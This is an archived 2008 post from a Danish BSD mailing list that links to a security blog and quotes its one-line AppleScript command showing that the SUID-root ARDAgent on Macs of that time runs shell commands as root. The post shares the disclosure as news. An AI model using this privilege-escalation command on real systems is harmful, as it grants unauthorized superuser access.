Apple SUID

From: Dennis Decker Jensen (none@dennis--cyg.dk.lh.bsd-dk.dk)
Date: Thu 19 Jun 2008 - 21:19:19 CEST

Next message: Ebbe Hjorth: "Re: freebsd 7.0 og vmware"
Previous message: Peter Larsen: "Re: www bruger sender mails"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Mail actions: [ respond to this message ] [ mail a new topic ]

From: Dennis Decker Jensen <none@dennis--cyg.dk.lh.bsd-dk.dk>
To: bsd-dk@bsd-dk.dk
Subject: Apple SUID
Date: Thu, 19 Jun 2008 21:19:19 +0200

Hi!

Just in case somebody missed it:

http://www.matasano.com/log/1069/apple-ships-suids-with-applescript-dictionaries-hilarity-ensues/

"Got a Mac? Pull up a Terminal and type

osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
Yep, you’re root. ARDAgent is the Apple Remote Desktop agent
application. It’s SUID root —- it runs as the superuser, not your user."

/Dennis

Next message: Ebbe Hjorth: "Re: freebsd 7.0 og vmware"
Previous message: Peter Larsen: "Re: www bruger sender mails"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Mail actions: [ respond to this message ] [ mail a new topic ]

This archive was generated by hypermail 2b30 : Mon 30 Jun 2008 - 23:00:08 CEST